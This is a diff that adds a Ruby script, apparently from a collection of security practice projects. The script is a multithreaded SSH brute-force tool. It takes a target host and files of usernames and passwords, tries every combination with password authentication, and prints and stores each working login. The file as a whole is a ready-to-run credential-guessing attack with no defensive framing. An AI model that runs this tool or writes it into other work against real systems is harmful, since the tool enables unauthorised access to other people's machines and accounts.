■ ■ ■ ■ ■ ■
Projects/18_SSH_Login_bruteforce_tool/MultiThread/bruteForceSSH.rb
| 1 | + | #!/usr/bin/env ruby |
| 2 | + | |
| 3 | + | # AUGUSTO SAVI |@Augusto_Savi |
| 4 | + | |
| 5 | + | require 'net/ssh' |
| 6 | + | |
| 7 | + | @threads = [] |
| 8 | + | @accepts = [] |
| 9 | + | @users = [] |
| 10 | + | @passwords = [] |
| 11 | + | |
| 12 | + | hosts = ARGV[0] |
| 13 | + | users_path = ARGV[1] |
| 14 | + | passs_path = ARGV[2] |
| 15 | + | |
| 16 | + | |
| 17 | + | def verifyArgs(hosts,users_path,passs_path) |
| 18 | + | if !hosts || !users_path || ! passs_path |
| 19 | + | puts "[!] correct usage: rb bruteForceSSH.rb host path_to_users_file path_to_passwords_file" |
| 20 | + | puts "[!] exemple: rb bruteForceSSH.rb 192.168.0.1 ./users.txt ./passwords.txt" |
| 21 | + | end |
| 22 | + | begin |
| 23 | + | |
| 24 | + | users_file = File.open(users_path) |
| 25 | + | @users = users_file.readlines.map(&:chomp) |
| 26 | + | users_file.close |
| 27 | + | |
| 28 | + | passs_file = File.open(passs_path) |
| 29 | + | @passwords = passs_file.readlines.map(&:chomp) |
| 30 | + | passs_file.close |
| 31 | + | |
| 32 | + | if @users.empty? |
| 33 | + | puts "file with empty users" |
| 34 | + | end |
| 35 | + | if @passwords.empty? |
| 36 | + | puts "file with empty passwords" |
| 37 | + | end |
| 38 | + | |
| 39 | + | rescue |
| 40 | + | puts "error open files" |
| 41 | + | end |
| 42 | + | end |
| 43 | + | |
| 44 | + | def attack_ssh(host, user, password, port=22, timeout = 5) |
| 45 | + | begin |
| 46 | + | Net::SSH.start(host, user, :password => password, |
| 47 | + | :auth_methods => ["password"], :port => port, |
| 48 | + | :non_interactive => true, :timeout => timeout ) do |session| |
| 49 | + | puts "Password Found: #{host} | #{user}:#{password}" |
| 50 | + | session.close unless session.nil? |
| 51 | + | @accepts.push({'host' => host,'user' => user, 'password' => password}) |
| 52 | + | end |
| 53 | + | |
| 54 | + | rescue Net::SSH::Disconnect |
| 55 | + | puts "[!] The remote '#{host}' has disconnected unexpectedly" |
| 56 | + | rescue Net::SSH::ConnectionTimeout |
| 57 | + | puts "[!] The host '#{host}' not alive!" |
| 58 | + | rescue Net::SSH::Timeout |
| 59 | + | puts "[!] The host '#{host}' disconnected/timeouted unexpectedly!" |
| 60 | + | rescue Errno::ECONNREFUSED |
| 61 | + | puts "[!] Incorrect port #{port} for #{host}" |
| 62 | + | rescue Net::SSH::AuthenticationFailed |
| 63 | + | puts "[!] Wrong Password: #{host} | #{user}:#{password}" |
| 64 | + | rescue Net::SSH::Authentication::DisallowedMethod |
| 65 | + | puts "[!] The host '#{host}' doesn't accept password authentication method." |
| 66 | + | rescue Errno::EHOSTUNREACH |
| 67 | + | puts "[!] No route to host: '#{host}'" |
| 68 | + | rescue Errno::ECONNRESET |
| 69 | + | puts "[!] Connection reset by peer: '#{host}'" |
| 70 | + | rescue SocketError => ex |
| 71 | + | puts ex.inspect |
| 72 | + | end |
| 73 | + | end |
| 74 | + | |
| 75 | + | verifyArgs(hosts,users_path,passs_path) |
| 76 | + | |
| 77 | + | puts "Users list size: #{@users.length()}" |
| 78 | + | puts "Passwords list size: #{@passwords.length()}" |
| 79 | + | |
| 80 | + | @users.each do |user| |
| 81 | + | @passwords.each do |password| |
| 82 | + | sleep(0.1) |
| 83 | + | @threads << Thread.new { attack_ssh(hosts, user, password) } |
| 84 | + | end |
| 85 | + | end |
| 86 | + | |
| 87 | + | @threads.each { |thr| thr.join } |
| 88 | + | |
| 89 | + | puts "accepts #{@accepts.length()}" |
| 90 | + | @accepts.each { |accept| puts accept } |